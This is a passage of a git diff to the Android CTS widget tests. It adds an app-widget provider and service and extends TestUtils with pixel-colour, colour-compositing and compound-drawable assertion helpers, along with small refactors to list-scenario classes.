+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts.appwidget;
+
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetManager;
+import android.appwidget.AppWidgetProvider;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.view.View;
+import android.widget.RemoteViews;
+import android.widget.cts.R;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.concurrent.CountDownLatch;
+
+public final class MyAppWidgetProvider extends AppWidgetProvider {
+    private static final long TIME_SLICE = 100;
+
+    public static final String KEY_DISPLAYED_CHILD_INDEX =
+            "MyAppWidgetProvider.displayedChildIndex";
+    public static final String KEY_SHOW_NEXT = "MyAppWidgetProvider.showNext";
+    public static final String KEY_SHOW_PREVIOUS = "MyAppWidgetProvider.showPrevious";
+    public static final String KEY_SWITCH_TO_LIST = "MyAppWidgetProvider.switchToList";
+    public static final String KEY_SCROLL_POSITION = "MyAppWidgetProvider.scrollPosition";
+    public static final String KEY_SCROLL_OFFSET = "MyAppWidgetProvider.scrollOffset";
+
+    // This latch will be notified when onEnabled is called on our provider.
+    private static CountDownLatch sCountDownLatch;
+    // Gating condition to be polled to proceed with setScrollPosition call.
+    private static PollingCheck.PollingCheckCondition sSetScrollCondition;
+    // Gating condition to be polled to proceed with setRelativeScrollPosition call.
+    private static PollingCheck.PollingCheckCondition sSetRelativeScrollCondition;
+
+    private int mDisplayedChildIndex;
+    private boolean mShowNext;
+    private boolean mShowPrevious;
+    private boolean mSwitchToList;
+    private int mScrollPosition;
+    private int mScrollOffset;
+
+    public static void configure(CountDownLatch countDownLatch,
+            PollingCheck.PollingCheckCondition setScrollCondition,
+            PollingCheck.PollingCheckCondition setRelativeScrollCondition) {
+        sCountDownLatch = countDownLatch;
+        sSetScrollCondition = setScrollCondition;
+        sSetRelativeScrollCondition = setRelativeScrollCondition;
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        mDisplayedChildIndex = intent.getIntExtra(KEY_DISPLAYED_CHILD_INDEX, -1);
+        mShowNext = intent.getBooleanExtra(KEY_SHOW_NEXT, false);
+        mShowPrevious = intent.getBooleanExtra(KEY_SHOW_PREVIOUS, false);
+        mSwitchToList = intent.getBooleanExtra(KEY_SWITCH_TO_LIST, false);
+        mScrollPosition = intent.getIntExtra(KEY_SCROLL_POSITION, -1);
+        mScrollOffset = intent.getIntExtra(KEY_SCROLL_OFFSET, 0);
+
+        super.onReceive(context, intent);
+    }
+
+    @Override
+    public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {
+        final int appWidgetId = appWidgetIds[0];
+        final RemoteViews widgetAdapterView = new RemoteViews(context.getPackageName(),
+                R.layout.remoteviews_adapter);
+
+        final Intent stackIntent = new Intent(context, MyAppWidgetService.class);
+        stackIntent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
+        stackIntent.setData(Uri.parse(stackIntent.toUri(Intent.URI_INTENT_SCHEME)));
+
+        widgetAdapterView.setRemoteAdapter(R.id.remoteViews_stack, stackIntent);
+        widgetAdapterView.setEmptyView(R.id.remoteViews_stack, R.id.remoteViews_empty);
+
+        if (mDisplayedChildIndex >= 0) {
+            widgetAdapterView.setDisplayedChild(R.id.remoteViews_stack, mDisplayedChildIndex);
+        }
+        if (mShowNext) {
+            widgetAdapterView.showNext(R.id.remoteViews_stack);
+        }
+        if (mShowPrevious) {
+            widgetAdapterView.showPrevious(R.id.remoteViews_stack);
+        }
+
+        // Here we setup the a pending intent template. Individuals items of a collection
+        // cannot setup their own pending intents, instead, the collection as a whole can
+        // setup a pending intent template, and the individual items can set a fillInIntent
+        // to create unique before on an item to item basis.
+        Intent viewIntent = new Intent(Intent.ACTION_VIEW,
+                Uri.parse("ctstest://RemoteView/testWidget"));
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, viewIntent,
+                PendingIntent.FLAG_UPDATE_CURRENT);
+
+        widgetAdapterView.setPendingIntentTemplate(R.id.remoteViews_stack, pendingIntent);
+
+        if (mSwitchToList) {
+            final Intent listIntent = new Intent(context, MyAppWidgetService.class);
+            listIntent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
+            listIntent.setData(Uri.parse(stackIntent.toUri(Intent.URI_INTENT_SCHEME)));
+
+            widgetAdapterView.setRemoteAdapter(R.id.remoteViews_list, listIntent);
+
+            widgetAdapterView.setViewVisibility(R.id.remoteViews_stack, View.GONE);
+            widgetAdapterView.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
+        }
+
+        final Handler handler = new Handler(Looper.myLooper());
+        if (mScrollPosition >= 0) {
+            // We need to schedule the call to setScrollPosition as a separate event that runs
+            // after the underlying ListView has been laid out on the screen. Otherwise calling
+            // that API on a ListView with 0x0 dimension has no effect - the list content is only
+            // populated via the adapter when ListView has "real" bounds.
+            final Runnable setScrollRunnable = new Runnable() {
+                public void run() {
+                    if (sSetScrollCondition.canProceed()) {
+                        // Gating condition has been satisfied. Call setScrollPosition and
+                        // ask the widget manager to update our widget
+                        widgetAdapterView.setScrollPosition(R.id.remoteViews_list, mScrollPosition);
+                        appWidgetManager.partiallyUpdateAppWidget(appWidgetId, widgetAdapterView);
+                    } else {
+                        // Keep on "waiting" until the gating condition is satisfied
+                        handler.postDelayed(this, TIME_SLICE);
+                    }
+                }
+            };
+            handler.postDelayed(setScrollRunnable, TIME_SLICE);
+        }
+
+        if (mScrollOffset != 0) {
+            // We need to schedule the call to setRelativeScrollPosition as a separate event that
+            // runs after the underlying ListView has been laid out on the screen. Otherwise calling
+            // that API on a ListView with 0x0 dimension has no effect - the list content is only
+            // populated via the adapter when ListView has "real" bounds.
+            final Runnable setRelativeScrollRunnable = new Runnable() {
+                public void run() {
+                    if (sSetRelativeScrollCondition.canProceed()) {
+                        // Gating condition has been satisfied. Call setRelativeScrollPosition and
+                        // ask the widget manager to update our widget
+                        widgetAdapterView.setRelativeScrollPosition(
+                                R.id.remoteViews_list, mScrollOffset);
+                        appWidgetManager.partiallyUpdateAppWidget(appWidgetId, widgetAdapterView);
+                    } else {
+                        // Keep on "waiting" until the gating condition is satisfied
+                        handler.postDelayed(this, TIME_SLICE);
+                    }
+                }
+            };
+            handler.postDelayed(setRelativeScrollRunnable, TIME_SLICE);
+        }
+
+        appWidgetManager.updateAppWidget(appWidgetId, widgetAdapterView);
+
+        sCountDownLatch.countDown();
+    }
+
+    @Override
+    public void onEnabled(Context context) {
+        sCountDownLatch.countDown();
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/appwidget/MyAppWidgetService.java b/tests/tests/widget/src/android/widget/cts/appwidget/MyAppWidgetService.java
new file mode 100644
index 0000000..7fc6b49
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/appwidget/MyAppWidgetService.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts.appwidget;
+
+import android.content.Intent;
+import android.widget.RemoteViewsService;
+
+public class MyAppWidgetService extends RemoteViewsService {
+    private static final Object sLock = new Object();
+
+    private static RemoteViewsFactory sFactory;
+
+    public static void setFactory(RemoteViewsFactory factory) {
+        synchronized (sLock) {
+            sFactory = factory;
+        }
+    }
+
+    @Override
+    public RemoteViewsFactory onGetViewFactory(Intent intent) {
+        synchronized (sLock) {
+            return sFactory;
+        }
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/util/ExpandableListScenario.java b/tests/tests/widget/src/android/widget/cts/util/ExpandableListScenario.java
index 1b2eb15..7e72e88 100644
--- a/tests/tests/widget/src/android/widget/cts/util/ExpandableListScenario.java
+++ b/tests/tests/widget/src/android/widget/cts/util/ExpandableListScenario.java
@@ -54,7 +54,10 @@
 
     @Override
     protected void setAdapter(ListView listView) {
-        ((ExpandableListView) listView).setAdapter(mAdapter = createAdapter());
+        mAdapter = createAdapter();
+        if (mAdapter != null) {
+            ((ExpandableListView) listView).setAdapter(mAdapter);
+        }
     }
 
     protected ExpandableListAdapter createAdapter() {
@@ -91,7 +94,7 @@
         /**
          * Sets the number of children per group.
          *
-         * @param numChildrenPerGroup The number of children per group.
+         * @param numChildren The number of children per group.
          */
         public ExpandableParams setNumChildren(int[] numChildren) {
             mNumChildren = numChildren;
@@ -275,6 +278,10 @@
      * @return A group index with the requirements.
      */
     public int findGroupWithNumChildren(int numChildren, boolean atLeastOneChild) {
+        if (mAdapter == null) {
+            return -1;
+        }
+
         final ExpandableListAdapter adapter = mAdapter;
 
         for (int i = adapter.getGroupCount() - 1; i >= 0; i--) {
@@ -292,10 +299,6 @@
         return mGroups;
     }
 
-    public ExpandableListAdapter getAdapter() {
-        return mAdapter;
-    }
-
     /**
      * Simple expandable list adapter.
      */
@@ -348,10 +351,10 @@
     }
 
     public static class MyGroup {
-        private static long mNextId = 1000;
+        private static long sNextId = 1000;
 
         String name;
-        long id = mNextId++;
+        long id = sNextId++;
         List<MyChild> children;
 
         public MyGroup(int numChildren) {
diff --git a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
index b61673c..c4d4199 100644
--- a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
+++ b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
@@ -79,10 +79,6 @@
         return mListView;
     }
 
-    protected int getScreenHeight() {
-        return mScreenHeight;
-    }
-
     /**
      * Return whether the item at position is selectable (i.e is a separator).
      * (external users can access this info using the adapter)
@@ -288,15 +284,6 @@
         setClickedPosition(position);
     }
 
-    /**
-     * Override this if you want to know when something has been long clicked (perhaps
-     * more importantly, that {@link android.widget.AdapterView.OnItemLongClickListener} has
-     * been triggered).
-     */
-    protected void positionLongClicked(int position) {
-        setLongClickedPosition(position);
-    }
-
     @Override
     protected void onCreate(Bundle icicle) {
         super.onCreate(icicle);
@@ -353,11 +340,13 @@
             }
         });
 
-        mListView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
-            public void onItemClick(AdapterView parent, View v, int position, long id) {
-                positionClicked(position);
-            }
-        });
+        if (shouldRegisterItemClickListener()) {
+            mListView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
+                public void onItemClick(AdapterView parent, View v, int position, long id) {
+                    positionClicked(position);
+                }
+            });
+        }
 
         // set the fading edge length porportionally to the screen
         // height for test stability
@@ -404,25 +393,11 @@
     }
 
     /**
-     * Returns the LinearLayout containing the ListView in this scenario.
-     *
-     * @return The LinearLayout in which the ListView is held.
+     * Override to return false if you don't want the activity to register a default item click
+     * listener that redirects clicks to {@link #positionClicked(int)}.
      */
-    protected LinearLayout getListViewContainer() {
-        return mLinearLayout;
-    }
-
-    /**
-     * Attaches a long press listener. You can find out which views were clicked by calling
-     * {@link #getLongClickedPosition()}.
-     */
-    public void enableLongPress() {
-        mListView.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {
-            public boolean onItemLongClick(AdapterView parent, View v, int position, long id) {
-                positionLongClicked(position);
-                return true;
-            }
-        });
+    protected boolean shouldRegisterItemClickListener() {
+        return true;
     }
 
     /**
diff --git a/tests/tests/widget/src/android/widget/cts/util/TestUtils.java b/tests/tests/widget/src/android/widget/cts/util/TestUtils.java
index 8d8f573..afa8f7a 100644
--- a/tests/tests/widget/src/android/widget/cts/util/TestUtils.java
+++ b/tests/tests/widget/src/android/widget/cts/util/TestUtils.java
@@ -16,18 +16,35 @@
 
 package android.widget.cts.util;
 
+import static org.junit.Assert.assertNull;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+import android.annotation.ColorInt;
+import android.annotation.DrawableRes;
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.res.ColorStateList;
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.Rect;
+import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
-import android.support.annotation.ColorInt;
-import android.support.annotation.NonNull;
 import android.util.Pair;
+import android.util.SparseBooleanArray;
 import android.view.View;
 import android.view.ViewParent;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
 import junit.framework.Assert;
 
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 
 public class TestUtils {
@@ -100,7 +117,8 @@
     }
 
     /**
-     * Checks whether all the pixels in the specified View are of the same specified color.
+     * Checks whether all the pixels in the specified of the {@link View} are
+     * filled with the specific color.
      *
      * In case there is a color mismatch, the behavior of this method depends on the
      * <code>throwExceptionIfFails</code> parameter. If it is <code>true</code>, this method will
@@ -109,7 +127,26 @@
      */
     public static void assertAllPixelsOfColor(String failMessagePrefix, @NonNull View view,
             @ColorInt int color, int allowedComponentVariance, boolean throwExceptionIfFails) {
+        assertRegionPixelsOfColor(failMessagePrefix, view,
+                new Rect(0, 0, view.getWidth(), view.getHeight()),
+                color, allowedComponentVariance, throwExceptionIfFails);
+    }
+
+    /**
+     * Checks whether all the pixels in the specific rectangular region of the {@link View} are
+     * filled with the specific color.
+     *
+     * In case there is a color mismatch, the behavior of this method depends on the
+     * <code>throwExceptionIfFails</code> parameter. If it is <code>true</code>, this method will
+     * throw an <code>Exception</code> describing the mismatch. Otherwise this method will call
+     * <code>Assert.fail</code> with detailed description of the mismatch.
+     */
+    public static void assertRegionPixelsOfColor(String failMessagePrefix, @NonNull View view,
+            @NonNull Rect region, @ColorInt int color, int allowedComponentVariance,
+            boolean throwExceptionIfFails) {
         // Create a bitmap
+        final int viewWidth = view.getWidth();
+        final int viewHeight = view.getHeight();
         Bitmap bitmap = Bitmap.createBitmap(view.getWidth(), view.getHeight(),
                 Bitmap.Config.ARGB_8888);
         // Create a canvas that wraps the bitmap
@@ -118,7 +155,7 @@
         view.draw(canvas);
 
         try {
-            assertAllPixelsOfColor(failMessagePrefix, bitmap, view.getWidth(), view.getHeight(),
+            assertAllPixelsOfColor(failMessagePrefix, bitmap, region,
                     color, allowedComponentVariance, throwExceptionIfFails);
         } finally {
             bitmap.recycle();
@@ -126,7 +163,8 @@
     }
 
     /**
-     * Checks whether all the pixels in the specified drawable are of the same specified color.
+     * Checks whether all the pixels in the specified {@link Drawable} are filled with the specific
+     * color.
      *
      * In case there is a color mismatch, the behavior of this method depends on the
      * <code>throwExceptionIfFails</code> parameter. If it is <code>true</code>, this method will
@@ -136,20 +174,25 @@
     public static void assertAllPixelsOfColor(String failMessagePrefix, @NonNull Drawable drawable,
             int drawableWidth, int drawableHeight, boolean callSetBounds, @ColorInt int color,
             int allowedComponentVariance, boolean throwExceptionIfFails) {
-            // Create a bitmap
-            Bitmap bitmap = Bitmap.createBitmap(drawableWidth, drawableHeight,
-                    Bitmap.Config.ARGB_8888);
-            // Create a canvas that wraps the bitmap
-            Canvas canvas = new Canvas(bitmap);
-            if (callSetBounds) {
-                // Configure the drawable to have bounds that match the passed size
-                drawable.setBounds(0, 0, drawableWidth, drawableHeight);
-            }
-            // And ask the drawable to draw itself to the canvas / bitmap
-            drawable.draw(canvas);
+        // Create a bitmap
+        Bitmap bitmap = Bitmap.createBitmap(drawableWidth, drawableHeight,
+                Bitmap.Config.ARGB_8888);
+        // Create a canvas that wraps the bitmap
+        Canvas canvas = new Canvas(bitmap);
+        if (callSetBounds) {
+            // Configure the drawable to have bounds that match the passed size
+            drawable.setBounds(0, 0, drawableWidth, drawableHeight);
+        } else {
+            // Query the current bounds of the drawable for translation
+            Rect drawableBounds = drawable.getBounds();
+            canvas.translate(-drawableBounds.left, -drawableBounds.top);
+        }
+        // And ask the drawable to draw itself to the canvas / bitmap
+        drawable.draw(canvas);
 
         try {
-            assertAllPixelsOfColor(failMessagePrefix, bitmap, drawableWidth, drawableHeight, color,
+            assertAllPixelsOfColor(failMessagePrefix, bitmap,
+                    new Rect(0, 0, drawableWidth, drawableHeight), color,
                     allowedComponentVariance, throwExceptionIfFails);
         } finally {
             bitmap.recycle();
@@ -157,49 +200,39 @@
     }
 
     /**
-     * Checks whether all the pixels in the specified bitmap are of the same specified color.
+     * Checks whether all the pixels in the specific rectangular region of the bitmap are filled
+     * with the specific color.
      *
      * In case there is a color mismatch, the behavior of this method depends on the
      * <code>throwExceptionIfFails</code> parameter. If it is <code>true</code>, this method will
      * throw an <code>Exception</code> describing the mismatch. Otherwise this method will call
      * <code>Assert.fail</code> with detailed description of the mismatch.
      */
-    public static void assertAllPixelsOfColor(String failMessagePrefix, @NonNull Bitmap bitmap,
-            int bitmapWidth, int bitmapHeight, @ColorInt int color,
-            int allowedComponentVariance, boolean throwExceptionIfFails) {
-            int[] rowPixels = new int[bitmapWidth];
-        for (int row = 0; row < bitmapHeight; row++) {
+    private static void assertAllPixelsOfColor(String failMessagePrefix, @NonNull Bitmap bitmap,
+            @NonNull Rect region, @ColorInt int color, int allowedComponentVariance,
+            boolean throwExceptionIfFails) {
+        final int bitmapWidth = bitmap.getWidth();
+        final int bitmapHeight = bitmap.getHeight();
+        final int[] rowPixels = new int[bitmapWidth];
+
+        final int startRow = region.top;
+        final int endRow = region.bottom;
+        final int startColumn = region.left;
+        final int endColumn = region.right;
+
+        for (int row = startRow; row < endRow; row++) {
             bitmap.getPixels(rowPixels, 0, bitmapWidth, 0, row, bitmapWidth, 1);
-            for (int column = 0; column < bitmapWidth; column++) {
-                int sourceAlpha = Color.alpha(rowPixels[column]);
-                int sourceRed = Color.red(rowPixels[column]);
-                int sourceGreen = Color.green(rowPixels[column]);
-                int sourceBlue = Color.blue(rowPixels[column]);
-
-                int expectedAlpha = Color.alpha(color);
-                int expectedRed = Color.red(color);
-                int expectedGreen = Color.green(color);
-                int expectedBlue = Color.blue(color);
-
-                int varianceAlpha = Math.abs(sourceAlpha - expectedAlpha);
-                int varianceRed = Math.abs(sourceRed - expectedRed);
-                int varianceGreen = Math.abs(sourceGreen - expectedGreen);
-                int varianceBlue = Math.abs(sourceBlue - expectedBlue);
-
-                boolean isColorMatch = (varianceAlpha <= allowedComponentVariance)
-                        && (varianceRed <= allowedComponentVariance)
-                        && (varianceGreen <= allowedComponentVariance)
-                        && (varianceBlue <= allowedComponentVariance);
-
-                if (!isColorMatch) {
+            for (int column = startColumn; column < endColumn; column++) {
+                @ColorInt int colorAtCurrPixel = rowPixels[column];
+                if (!areColorsTheSameWithTolerance(color, colorAtCurrPixel,
+                        allowedComponentVariance)) {
                     String mismatchDescription = failMessagePrefix
-                            + ": expected all drawable colors to be ["
-                            + expectedAlpha + "," + expectedRed + ","
-                            + expectedGreen + "," + expectedBlue
-                            + "] but at position (" + row + "," + column + ") out of ("
-                            + bitmapWidth + "," + bitmapHeight + ") found ["
-                            + sourceAlpha + "," + sourceRed + ","
-                            + sourceGreen + "," + sourceBlue + "]";
+                            + ": expected all bitmap colors in rectangle [l="
+                            + startColumn + ", t=" + startRow + ", r=" + endColumn
+                            + ", b=" + endRow + "] to be " + formatColorToHex(color)
+                            + " but at position (" + row + "," + column + ") out of ("
+                            + bitmapWidth + "," + bitmapHeight + ") found "
+                            + formatColorToHex(colorAtCurrPixel);
                     if (throwExceptionIfFails) {
                         throw new RuntimeException(mismatchDescription);
                     } else {
@@ -209,4 +242,248 @@
             }
         }
     }
-}
\ No newline at end of file
+
+    /**
+     * Checks whether the center pixel in the specified bitmap is of the same specified color.
+     *
+     * In case there is a color mismatch, the behavior of this method depends on the
+     * <code>throwExceptionIfFails</code> parameter. If it is <code>true</code>, this method will
+     * throw an <code>Exception</code> describing the mismatch. Otherwise this method will call
+     * <code>Assert.fail</code> with detailed description of the mismatch.
+     */
+    public static void assertCenterPixelOfColor(String failMessagePrefix, @NonNull Bitmap bitmap,
+            @ColorInt int color,
+            int allowedComponentVariance, boolean throwExceptionIfFails) {
+        final int centerX = bitmap.getWidth() / 2;
+        final int centerY = bitmap.getHeight() / 2;
+        final @ColorInt int colorAtCenterPixel = bitmap.getPixel(centerX, centerY);
+        if (!areColorsTheSameWithTolerance(color, colorAtCenterPixel,
+                allowedComponentVariance)) {
+            String mismatchDescription = failMessagePrefix
+                    + ": expected all drawable colors to be "
+                    + formatColorToHex(color)
+                    + " but at position (" + centerX + "," + centerY + ") out of ("
+                    + bitmap.getWidth() + "," + bitmap.getHeight() + ") found"
+                    + formatColorToHex(colorAtCenterPixel);
+            if (throwExceptionIfFails) {
+                throw new RuntimeException(mismatchDescription);
+            } else {
+                Assert.fail(mismatchDescription);
+            }
+        }
+    }
+
+    /**
+     * Formats the passed integer-packed color into the #AARRGGBB format.
+     */
+    public static String formatColorToHex(@ColorInt int color) {
+        return String.format("#%08X", (0xFFFFFFFF & color));
+    }
+
+    /**
+     * Compares two integer-packed colors to be equal, each component within the specified
+     * allowed variance. Returns <code>true</code> if the two colors are sufficiently equal
+     * and <code>false</code> otherwise.
+     */
+    private static boolean areColorsTheSameWithTolerance(@ColorInt int expectedColor,
+            @ColorInt int actualColor, int allowedComponentVariance) {
+        int sourceAlpha = Color.alpha(actualColor);
+        int sourceRed = Color.red(actualColor);
+        int sourceGreen = Color.green(actualColor);
+        int sourceBlue = Color.blue(actualColor);
+
+        int expectedAlpha = Color.alpha(expectedColor);
+        int expectedRed = Color.red(expectedColor);
+        int expectedGreen = Color.green(expectedColor);
+        int expectedBlue = Color.blue(expectedColor);
+
+        int varianceAlpha = Math.abs(sourceAlpha - expectedAlpha);
+        int varianceRed = Math.abs(sourceRed - expectedRed);
+        int varianceGreen = Math.abs(sourceGreen - expectedGreen);
+        int varianceBlue = Math.abs(sourceBlue - expectedBlue);
+
+        boolean isColorMatch = (varianceAlpha <= allowedComponentVariance)
+                && (varianceRed <= allowedComponentVariance)
+                && (varianceGreen <= allowedComponentVariance)
+                && (varianceBlue <= allowedComponentVariance);
+
+        return isColorMatch;
+    }
+
+    /**
+     * Composite two potentially translucent colors over each other and returns the result.
+     */
+    public static int compositeColors(@ColorInt int foreground, @ColorInt int background) {
+        int bgAlpha = Color.alpha(background);
+        int fgAlpha = Color.alpha(foreground);
+        int a = compositeAlpha(fgAlpha, bgAlpha);
+
+        int r = compositeComponent(Color.red(foreground), fgAlpha,
+                Color.red(background), bgAlpha, a);
+        int g = compositeComponent(Color.green(foreground), fgAlpha,
+                Color.green(background), bgAlpha, a);
+        int b = compositeComponent(Color.blue(foreground), fgAlpha,
+                Color.blue(background), bgAlpha, a);
+
+        return Color.argb(a, r, g, b);
+    }
+
+    private static int compositeAlpha(int foregroundAlpha, int backgroundAlpha) {
+        return 0xFF - (((0xFF - backgroundAlpha) * (0xFF - foregroundAlpha)) / 0xFF);
+    }
+
+    private static int compositeComponent(int fgC, int fgA, int bgC, int bgA, int a) {
+        if (a == 0) return 0;
+        return ((0xFF * fgC * fgA) + (bgC * bgA * (0xFF - fgA))) / (a * 0xFF);
+    }
+
+    public static ColorStateList colorStateListOf(final @ColorInt int color) {
+        return argThat(new BaseMatcher<ColorStateList>() {
+            @Override
+            public boolean matches(Object o) {
+                if (o instanceof ColorStateList) {
+                    final ColorStateList actual = (ColorStateList) o;
+                    return (actual.getColors().length == 1) && (actual.getDefaultColor() == color);
+                }
+                return false;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("doesn't match " + formatColorToHex(color));
+            }
+        });
+    }
+
+    public static int dpToPx(Context context, int dp) {
+        final float density = context.getResources().getDisplayMetrics().density;
+        return (int) (dp * density + 0.5f);
+    }
+
+    private static String arrayToString(final long[] array) {
+        final StringBuffer buffer = new StringBuffer();
+        if (array == null) {
+            buffer.append("null");
+        } else {
+            buffer.append("[");
+            for (int i = 0; i < array.length; i++) {
+                if (i > 0) {
+                    buffer.append(", ");
+                }
+                buffer.append(array[i]);
+            }
+            buffer.append("]");
+        }
+        return buffer.toString();
+    }
+
+    public static void assertIdentical(final long[] expected, final long[] actual) {
+        if (!Arrays.equals(expected, actual)) {
+            Assert.fail("Expected " + arrayToString(expected) + ", actual "
+                    + arrayToString(actual));
+        }
+    }
+
+    public static void assertTrueValuesAtPositions(final long[] expectedIndexesForTrueValues,
+            final SparseBooleanArray array) {
+        if (array == null) {
+           if ((expectedIndexesForTrueValues != null)
+                   && (expectedIndexesForTrueValues.length > 0)) {
+               Assert.fail("Expected " + arrayToString(expectedIndexesForTrueValues)
+                    + ", actual [null]");
+           }
+           return;
+        }
+
+        final int totalValuesCount = array.size();
+        // "Convert" the input array into a long[] array that has indexes of true values
+        int trueValuesCount = 0;
+        for (int i = 0; i < totalValuesCount; i++) {
+            if (array.valueAt(i)) {
+                trueValuesCount++;
+            }
+        }
+
+        final long[] trueValuePositions = new long[trueValuesCount];
+        int position = 0;
+        for (int i = 0; i < totalValuesCount; i++) {
+            if (array.valueAt(i)) {
+                trueValuePositions[position++] = array.keyAt(i);
+            }
+        }
+
+        Arrays.sort(trueValuePositions);
+        assertIdentical(expectedIndexesForTrueValues, trueValuePositions);
+    }
+
+    public static Drawable getDrawable(Context context, @DrawableRes int resid) {
+        return context.getResources().getDrawable(resid);
+    }
+
+    public static Bitmap getBitmap(Context context, @DrawableRes int resid) {
+        return ((BitmapDrawable) getDrawable(context, resid)).getBitmap();
+    }
+
+    public static void verifyCompoundDrawables(@NonNull TextView textView,
+            @DrawableRes int expectedLeftDrawableId, @DrawableRes int expectedRightDrawableId,
+            @DrawableRes int expectedTopDrawableId, @DrawableRes int expectedBottomDrawableId) {
+        final Context context = textView.getContext();
+        final Drawable[] compoundDrawables = textView.getCompoundDrawables();
+        if (expectedLeftDrawableId < 0) {
+            assertNull(compoundDrawables[0]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedLeftDrawableId),
+                    ((BitmapDrawable) compoundDrawables[0]).getBitmap());
+        }
+        if (expectedTopDrawableId < 0) {
+            assertNull(compoundDrawables[1]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedTopDrawableId),
+                    ((BitmapDrawable) compoundDrawables[1]).getBitmap());
+        }
+        if (expectedRightDrawableId < 0) {
+            assertNull(compoundDrawables[2]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedRightDrawableId),
+                    ((BitmapDrawable) compoundDrawables[2]).getBitmap());
+        }
+        if (expectedBottomDrawableId < 0) {
+            assertNull(compoundDrawables[3]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedBottomDrawableId),
+                    ((BitmapDrawable) compoundDrawables[3]).getBitmap());
+        }
+    }
+
+    public static void verifyCompoundDrawablesRelative(@NonNull TextView textView,
+            @DrawableRes int expectedStartDrawableId, @DrawableRes int expectedEndDrawableId,
+            @DrawableRes int expectedTopDrawableId, @DrawableRes int expectedBottomDrawableId) {
+        final Context context = textView.getContext();
+        final Drawable[] compoundDrawablesRelative = textView.getCompoundDrawablesRelative();
+        if (expectedStartDrawableId < 0) {
+            assertNull(compoundDrawablesRelative[0]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedStartDrawableId),
+                    ((BitmapDrawable) compoundDrawablesRelative[0]).getBitmap());
+        }
+        if (expectedTopDrawableId < 0) {
+            assertNull(compoundDrawablesRelative[1]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedTopDrawableId),
+                    ((BitmapDrawable) compoundDrawablesRelative[1]).getBitmap());
+        }
+        if (expectedEndDrawableId < 0) {
+            assertNull(compoundDrawablesRelative[2]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedEndDrawableId),
+                    ((BitmapDrawable) compoundDrawablesRelative[2]).getBitmap());
+        }
+        if (expectedBottomDrawableId < 0) {
+            assertNull(compoundDrawablesRelative[3]);
+        } else {
+            WidgetTestUtils.assertEquals(getBitmap(context, expectedBottomDrawableId),
+                    ((BitmapDrawable) compoundDrawablesRelative[3]).getBitmap());
+        }
+    }
+
+}
diff --git a/tests/tests/widget/src/android/widget/cts/util/TestUtilsMatchers.java b/tests/tests/widget/src/android/widget/cts/util/TestUtilsMatchers.java
new file mode 100644
index 0000000..3664bc4
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/util/TestUtilsMatchers.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts.util;
+
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
+
+import java.util.List;
+
+public class TestUtilsMatchers {
+    /**
+     * Returns a matcher that matches lists of int values that are in ascending order.
+     */
+    public static Matcher<List<Integer>> inAscendingOrder() {
+        return new TypeSafeMatcher<List<Integer>>() {
